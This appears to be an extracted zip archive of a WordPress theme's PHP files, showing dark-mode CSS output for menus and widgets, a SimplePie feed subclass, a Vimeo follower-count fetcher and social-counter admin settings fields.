				echo 'body.pcdm-enable .penci-menu-hbg .widget select,body.pcdm-enable .penci-menu-hbg .widget select option,';
				echo 'body.pcdm-enable .penci-menu-hbg form.pc-searchform input.search-input{ color: var(--pctext-cl) }';
			}
			if ( $mhbg_bordercolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg .widget ul li,body.pcdm-enable .penci-menu-hbg .menu li,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget-social a i,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-home-popular-posts,';
				echo 'body.pcdm-enable .penci-menu-hbg #respond textarea,';
				echo 'body.pcdm-enable .penci-menu-hbg .wpcf7 textarea,';
				echo 'body.pcdm-enable .penci-menu-hbg #respond input,';
				echo 'body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=date], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=email], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=month], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=number], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=password], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=range], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=search], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=tel], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=text], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=time], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=url], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form input[type=week], body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form select, body.pcdm-enable .penci-menu-hbg div.wpforms-container .wpforms-form.wpforms-form textarea,';
				echo 'body.pcdm-enable .penci-menu-hbg .wpcf7 input,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget_wysija input,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget select,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget ul ul,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget .tagcloud a,';
				echo 'body.pcdm-enable .penci-menu-hbg #wp-calendar tbody td,';
				echo 'body.pcdm-enable .penci-menu-hbg #wp-calendar thead th,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="text"],';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="email"],';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="date"],';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="number"],';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="search"], body.pcdm-enable .widget input[type="password"], body.pcdm-enable .penci-menu-hbg form.pc-searchform input.search-input,';
				echo 'body.pcdm-enable .penci-vernav-enable.penci-vernav-poleft .penci-menu-hbg, body.pcdm-enable .penci-vernav-enable.penci-vernav-poright .penci-menu-hbg, body.pcdm-enable .penci-menu-hbg ul.sub-menu{border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgtitle_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner .penci-hbg_sitetitle{ color:var(--pctext-cl);}';
			}
			if ( $mhbgdesc_hcolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner .penci-hbg_desc{ color:var(--pctext-cl);}';
			}
			if ( $mhbgsearch_border ) {
				echo 'body.pcdm-enable .penci-menu-hbg form.pc-searchform.penci-hbg-search-form input.search-input{ border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgsearch_border_hover ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-hbg-search-form input.search-input:hover, body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input:hover, body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input:focus{ border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgsearch_color ) {
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input{ color:var(--pctext-cl);}';
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input::-webkit-input-placeholder { color: var(--pctext-cl); }';
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input::-moz-placeholder { color:var(--pctext-cl); opacity: 1; }';
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input:-ms-input-placeholder { color: var(--pctext-cl); }';
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form input.search-input:-moz-placeholder { color:var(--pctext-cl); opacity: 1; }';
			}
			if ( $mhbgsearch_icon ) {
				echo 'body.pcdm-enable form.pc-searchform.penci-hbg-search-form i{ color:var(--pctext-cl);}';
			}
			if ( $mhbgaccent_color ) {
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .menu li a,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg #wp-calendar tbody td a,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget.widget_categories ul li,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget.widget_archive ul li, body.pcdm-enable .penci-menu-hbg .widget-social a i,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget-social a span,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget-social.show-text a span,';
				echo 'body.pcdm-enable body.pcdm-enable .penci-menu-hbg .widget a{ color:var(--pctext-cl);}';
			}
			if ( $mhbgaccent_hover_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .menu li a:hover,body.pcdm-enable .penci-menu-hbg .menu li a .indicator:hover';
				echo 'body.pcdm-enable .penci-menu-hbg .widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .widget-social a:hover span,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget-social a:hover span,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content .icon-tweets,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content .tweet-intents a,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content.tweet-intents span:after,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget-social.remove-circle a:hover i,';
				echo 'body.pcdm-enable .penci-menu-hbg #wp-calendar tbody td a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg a:hover {color:var(--pctext-cl);}';
				echo 'body.pcdm-enable .penci-menu-hbg .widget .tagcloud a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget-social a:hover i,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget .penci-user-logged-in .penci-user-action-links a:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget input[type="submit"]:hover,';
				echo 'body.pcdm-enable .penci-menu-hbg .widget button[type="submit"]:hover{ color: #fff; background-color: var(--pcbg-cl); border-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .about-widget .about-me-heading:before { border-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content .tweet-intents-inner:before,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-tweets-widget-content .tweet-intents-inner:after { background-color:var(--pcbg-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span { border-color:var(--pcborder-cl); background-color:var(--pcbg-cl); }';
			}
			if ( $mhbgfooter_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg-inner .penci_menu_hbg_ftext{ color:var(--pctext-cl);}';
			}
			if ( $mhbgicon_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.sidebar-nav-social a i, body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ color:var(--pctext-cl);}';
			}
			if ( $mhbgicon_hover_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.sidebar-nav-social a:hover i, body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ color:var(--pctext-cl);}';
			}
			if ( $mhbgicon_border ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgicon_border_hover ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ border-color:var(--pcborder-cl);}';
			}
			if ( $mhbgicon_bg ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a i{ background-color:var(--pcbg-cl);}';
			}
			if ( $mhbgicon_bg_hover ) {
				echo 'body.pcdm-enable .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{ background-color:var(--pcbg-cl);}';
			}
			// Widget
			$mhwidget_heading_bg           = get_theme_mod( 'penci_mhwidget_heading_bg' );
			$mhwidget_heading_outer_bg     = get_theme_mod( 'penci_mhwidget_heading_outer_bg' );
			$mhwidget_heading_bcolor       = get_theme_mod( 'penci_mhwidget_heading_bcolor' );
			$mhwidget_heading_binner_color = get_theme_mod( 'penci_mhwidget_heading_binner_color' );
			$mhwidget_heading_bcolor5      = get_theme_mod( 'penci_mhwidget_heading_bcolor5' );
			$mhwidget_heading_bcolor7      = get_theme_mod( 'penci_mhwidget_heading_bcolor7' );
			$mhwidget_bordertop_color10    = get_theme_mod( 'penci_mhwidget_bordertop_color10' );
			$mhwidget_shapes_color         = get_theme_mod( 'penci_mhwidget_shapes_color' );
			$mhwidget_bgstyle15            = get_theme_mod( 'penci_mhwidget_bgstyle15' );
			$mhwidget_iconstyle15          = get_theme_mod( 'penci_mhwidget_iconstyle15' );
			$mhwidget_cllines              = get_theme_mod( 'penci_mhwidget_cllines' );
			$mhwidget_heading_color        = get_theme_mod( 'penci_mhwidget_heading_color' );
			if ( $mhwidget_heading_bg ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-14 .penci-border-arrow .inner-arrow:before, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13 .penci-border-arrow .inner-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow .inner-arrow{ background-color: ' . $mhwidget_heading_bg . '; }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-2 .penci-border-arrow:after{ border-top-color: var(--pcborder-cl); }';
			}
			if ( $mhwidget_heading_outer_bg ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { background-color: var(--pcbg-cl); }';
			}
			if ( $mhwidget_heading_bcolor ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:before,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-4 .penci-border-arrow .inner-arrow:after,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-7 .penci-border-arrow,';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-9 .penci-border-arrow { border-color:var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow:before { border-top-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-16 .penci-border-arrow:after{ background-color: var(--pcbg-cl); }';
			}
			if ( $mhwidget_heading_binner_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow:after { border-color:var(--pcborder-cl); }';
			}
			if ( $mhwidget_heading_bcolor5 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow{ border-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-10 .penci-border-arrow, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-5 .penci-border-arrow .inner-arrow{ border-bottom-color: var(--pcborder-cl); }';
			}
			if ( $mhwidget_heading_bcolor7 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-7 .penci-border-arrow .inner-arrow:before,body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-9 .penci-border-arrow .inner-arrow:before{ background-color: var(--pcbg-cl); }';
			}
			if ( $mhwidget_bordertop_color10 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-10 .penci-border-arrow{ border-top-color: var(--pcborder-cl); }';
			}
			if ( $mhwidget_shapes_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{ border-top-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12 .penci-border-arrow .inner-arrow:before,body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12.pcalign-center .penci-border-arrow .inner-arrow:after, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-12.pcalign-right .penci-border-arrow .inner-arrow:after{ border-bottom-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:after, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-left .penci-border-arrow .inner-arrow:after{ border-right-color: var(--pcborder-cl); }';
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-center .penci-border-arrow .inner-arrow:before, body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-13.pcalign-right .penci-border-arrow .inner-arrow:before{ border-left-color: var(--pcborder-cl); }';
			}
			if ( $mhwidget_bgstyle15 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow:before{ background-color:var(--pcbg-cl); }';
			}
			if ( $mhwidget_iconstyle15 ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-15 .penci-border-arrow:after{ color: var(--pctext-cl); }';
			}
			if ( $mhwidget_cllines ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content.style-18 .penci-border-arrow:after{ color: var(--pctext-cl); }';
			}
			if ( $mhwidget_heading_color ) {
				echo 'body.pcdm-enable .penci-menu-hbg .penci-sidebar-content .penci-border-arrow .inner-arrow { color: var(--pctext-cl); }';
			}
		endif; /* End check if enable HBG menu or Vertical Nav */
	}
}
PK     N\WN[  [    inc/simple_pie.phpnu [        <?php
if ( ! class_exists( 'SimplePie' ) ) {
	require_once ABSPATH . WPINC . '/class-simplepie.php';
	require_once ABSPATH . WPINC . '/class-wp-feed-cache-transient.php';
	require_once ABSPATH . WPINC . '/class-wp-simplepie-file.php';
}

class Penci_SimplePie extends SimplePie {

	/**
	 * The shortcode attributes.
	 *
	 * @access   private
	 * @var      array $sc The shortcode attributes.
	 */
	private static $sc;

	/**
	 * Whether custom sorting is enabled.
	 *
	 * @access   private
	 * @var      bool $custom_sorting Whether custom sorting is enabled.
	 */
	private static $custom_sorting = false;

	/**
	 * Initialize the class and set its properties.
	 *
	 * @access  public
	 *
	 * @param   array $sc The shortcode attributes.
	 */
	public function __construct( $sc ) {
		self::$sc = $sc;
		if ( array_key_exists( 'sort', self::$sc ) && ! empty( self::$sc['sort'] ) ) {
			if ( 'date_desc' === self::$sc['sort'] ) {
				$this->enable_order_by_date( true );
			} else {
				self::$custom_sorting = true;
			}
		}
		parent::__construct();
	}

	/**
	 * Sorting callback for items
	 *
	 * @access public
	 * @param SimplePie $a The SimplePieItem.
	 * @param SimplePie $b The SimplePieItem.
	 * @return boolean
	 */
	public static function sort_items( $a, $b ) {
		if ( self::$custom_sorting ) {
			switch ( self::$sc['sort'] ) {
				case 'title_desc':
					return $a->get_title() <= $b->get_title();
				case 'title_asc':
					return $a->get_title() > $b->get_title();
				case 'date_asc':
					return $a->get_date( 'U' ) > $b->get_date( 'U' );
			}
		}
		return parent::sort_items( $a, $b );
	}

	/**
	 * Return the filename (i.e. hash, without path and without extension) of the file to cache a given URL.
	 *
	 * @param string $url The URL of the feed to be cached.
	 * @return string A filename (i.e. hash, without path and without extension).
	 */
	public function get_cache_filename( $url ) {
		// Append custom parameters to the URL to avoid cache pollution in case of multiple calls with different parameters.
		$url .= $this->force_feed ? '#force_feed' : '';
		return call_user_func( $this->cache_name_function, $url );
	}
}PK     N\$b  b  (  inc/social-counter/counter-vimeo-api.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'Penci_Social_Counter_Vimeo_API' ) ):
	class Penci_Social_Counter_Vimeo_API {
		public static function get_count( $data, $cache_period ) {

			$page_id       = preg_replace( '/\s+/', '', $data['name'] );
			$data['url']   = "http://vimeo.com/$page_id";
			$data['icon']  = penci_icon_by_ver( 'fab fa-vimeo-v' );
			$default_count = penci_get_social_counter_option( 'vimeo_default' );
			$cache_key     = 'penci_counter__vimeo' . $page_id;
			$vimeo_count   = $default_count ? $default_count : get_transient( $cache_key );
			if ( ! $vimeo_count ) {

				$count = self::get_vimeo_count( $page_id );

				set_transient( $cache_key, $count, $cache_period );
			} else {
				$count = $vimeo_count;
			}

			if ( $count ) {
				$data['count'] = $count;
			}

			return $data;
		}

		private static function get_vimeo_count( $id ) {
			$status_code = @get_headers( 'https://vimeo.com/' . $id . '/following/followers/', 1 );
			$response    = array();
			if ( strpos( $status_code[0], '200' ) ) {
				$response = wp_remote_get( 'https://vimeo.com/' . $id . '/following/followers/', array(
					'timeout' => 10,
				) );
			}
			$result = 0;
			if ( ! empty( $response ) && ! is_wp_error( $response ) ) {
				$pattern = "/data-title=\"(.*?) Follower(s?)\"/";
				preg_match( $pattern, $response['body'], $matches );

				if ( ! empty( $matches[1] ) ) {
					$result = '';
					foreach ( str_split( $matches[1] ) as $char ) {
						if ( is_numeric( $char ) ) {
							$result .= $char;
						}
					}

					return (int) $result;
				}
			}

			return $result;
		}
	}

endif;
PK     N\-M`b  `b  $  inc/social-counter/admin-options.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'Penci_Social_Counter' ) ):
	class Penci_Social_Counter {

		static $list_socials = array(
			'facebook'   => 'Facebook',
			'twitter'    => 'Twitter',
			'youtube'    => 'Youtube',
			'instagram'  => 'Instagram',
			'pinterest'  => 'Pinterest',
			'flickr'     => 'Flickr',
			'vimeo'      => 'Vimeo',
			'soundcloud' => 'Soundcloud',
			'behance'    => 'Behance',
			'vk'         => 'VKontakte',
			'twitch'     => 'Twitch',
			'tiktok'     => 'Tiktok',
			'rss'        => 'RSS',
		);

		public function __construct() {
			add_filter( 'mb_settings_pages', array( $this, 'settings_pages' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'facebook_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'twitter_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'youtube_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'instagram_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'linkedin_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'pinterest_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'flickr_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'vimeo_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'soundcloud_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'github_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'behance_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'vk_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'twitch_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'tiktok_option' ) );
			add_filter( 'rwmb_meta_boxes', array( $this, 'rss_option' ) );
		}

		function settings_pages( $settings_pages ) {
			$list_social_media = Penci_Social_Counter::$list_socials;

			$settings_pages[] = array(
				'id'          => 'penci_social_counter_settings',
				'option_name' => 'penci_social_counter_settings',
				'menu_title'  => __( 'Social Counter', 'soledad' ),
				'parent'      => 'soledad_dashboard_welcome',
				'style'       => 'no-boxes',
				'tab_style'   => 'default',
				'columns'     => 1,
				'tabs'        => $list_social_media
			);

			return $settings_pages;
		}

		function facebook_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'facebook',
				'title'          => __( 'Facebook Settings', 'soledad' ),
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'facebook',

				'fields' => array(
					array(
						'id'   => 'facebook_name',
						'type' => 'text',
						'name' => esc_html__( 'Facebook Page ID/Name', 'soledad' ),
						'std'  => '80655071208',
						'desc' => __( 'Never know it before? <a target="_blank" href="https://www.facebook.com/help/1503421039731588">Get it here</a>.' )
					),
					array(
						'id'   => 'facebook_appid',
						'type' => 'text',
						'name' => esc_html__( 'Facebook App ID', 'soledad' ),
						'std'  => '',
						'desc' => __( 'You can create an application and get Facebook App ID <a href="https://developers.facebook.com/docs/apps/register" target="_blank">here</a>.' )
					),
					array(
						'id'   => 'facebook_appsecret',
						'type' => 'text',
						'name' => esc_html__( 'Facebook App Secret', 'soledad' ),
						'std'  => '',
						'desc' => __( 'You can create an application and get Facebook App Secret <a href="https://developers.facebook.com/docs/apps/register" target="_blank">here</a>.' )
					),
					array(
						'id'   => 'facebook_token',
						'type' => 'text',
						'name' => esc_html__( 'Facebook Access Token', 'soledad' ),
						'std'  => '',
						'desc' => __( '<a class="pcfb_acces_token" href="#">Click here</a> to get the Facebook Access Token. Require Facebook App ID & Facebook App Secret' )
					),
					array(
						'id'   => 'facebook_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'facebook_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Custom "Fans" text', 'soledad' ),
						'std'  => esc_html__( 'Fans', 'soledad' ),
					),
					array(
						'id'   => 'facebook_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Like', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function vimeo_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'vimeo',
				'title'          => 'vimeo',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'vimeo',

				'fields' => array(
					array(
						'id'   => 'vimeo_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'desc' => __( 'Enter Vimeo profile name.<br>Example: http://vimeo.com/<strong>profilename</strong><br/><i style="color:red">Please DO NOT enter the full profile URL.</i>', 'soledad' ),
						'std'  => esc_html__( 'Vimeo', 'soledad' ),
					),
					array(
						'id'   => 'vimeo_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'vimeo_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Custom "Subscribers" text', 'soledad' ),
						'std'  => esc_html__( 'Subscribers', 'soledad' ),
					),
					array(
						'id'   => 'vimeo_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Subscribe', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function youtube_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'youtube',
				'title'          => 'youtube',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'youtube',

				'fields' => array(
					array(
						'id'   => 'youtube_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => 'Enter your Youtube username.<br>Example: http://www.youtube.com/<strong>username</strong> or http://www.youtube.com/c/<strong>username</strong><br/><i style="color:red">Please DO NOT enter the full profile URL.</i>'
					),
					array(
						'id'      => 'youtube_type',
						'type'    => 'select',
						'options' => array(
							'channel' => __( 'Channel', 'soledad' ),
							'user'    => __( 'User', 'soledad' ),
						),
						'name'    => esc_html__( 'Account Type', 'soledad' )
					),
					array(
						'id'   => 'youtube_api_key',
						'type' => 'text',
						'name' => esc_html__( 'Youtube API Key', 'soledad' ),
						'desc' => __( 'You can register Google API Key here for <a href="https://developers.google.com/youtube/v3/getting-started" target="_blank">YouTube</a>.', 'soledad' ),
					),
					array(
						'id'   => 'youtube_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'youtube_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Subscribers', 'soledad' ),
					),
					array(
						'id'   => 'youtube_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Subscribe', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function soundcloud_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'soundcloud',
				'title'          => 'soundcloud',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'soundcloud',
				'fields'         => array(
					array(
						'id'   => 'soundcloud_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your SoundCloud username.', 'soledad' ),
					),
					array(
						'id'   => 'soundcloud_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'soundcloud_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'soundcloud_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function twitter_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'twitter',
				'title'          => 'twitter',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'twitter',
				'fields' => array(
					array(
						'id'   => 'twitter_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => esc_html__( 'envato', 'soledad' ),
						'desc' => __( 'Enter your Twitter Username', 'soledad' ),
					),
					array(
						'id'   => 'twitter_api_key',
						'type' => 'text',
						'name' => esc_html__( 'API Key', 'soledad' ),
						'std'  => esc_html__( '', 'soledad' ),
						'desc' => __( 'Enter your Twitter API Key', 'soledad' ),
					),
					array(
						'id'   => 'twitter_api_key_secret',
						'type' => 'text',
						'name' => esc_html__( 'API Secret Key', 'soledad' ),
						'std'  => esc_html__( '', 'soledad' ),
						'desc' => __( 'Enter your Twitter API Secret Key', 'soledad' ),
					),
					array(
						'id'   => 'twitter_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'twitter_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'twitter_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
			);

			return $meta_boxes;
		}

		function instagram_option( $meta_boxes ) {
			$meta_boxes[] = array(
				'id'             => 'instagram',
				'title'          => 'instagram',
				'settings_pages' => 'penci_social_counter_settings',
				'tab'            => 'instagram',

				'fields' => array(
					array(
						'id'   => 'instagram_name',
						'type' => 'text',
						'name' => esc_html__( 'Name', 'soledad' ),
						'std'  => '',
						'desc' => esc_html__( 'Enter your Instagram username.', 'soledad' ),
					),
					array(
						'id'   => 'instagram_default',
						'type' => 'number',
						'name' => esc_html__( 'Number of Like default. ', 'soledad' ),
						'desc' => esc_html__( 'Instagram has stopped supporting getting follower numbers. You need to manually enter the follower number on this option. ', 'soledad' ),
						'std'  => 0,
					),
					array(
						'id'   => 'instagram_text_below',
						'type' => 'text',
						'name' => esc_html__( 'Text Below The Number', 'soledad' ),
						'std'  => esc_html__( 'Followers', 'soledad' ),
					),
					array(
						'id'   => 'instagram_text_btn',
						'type' => 'text',
						'name' => esc_html__( 'Custom Button Text', 'soledad' ),
						'std'  => esc_html__( 'Follow Us', 'soledad' ),
					),
				),
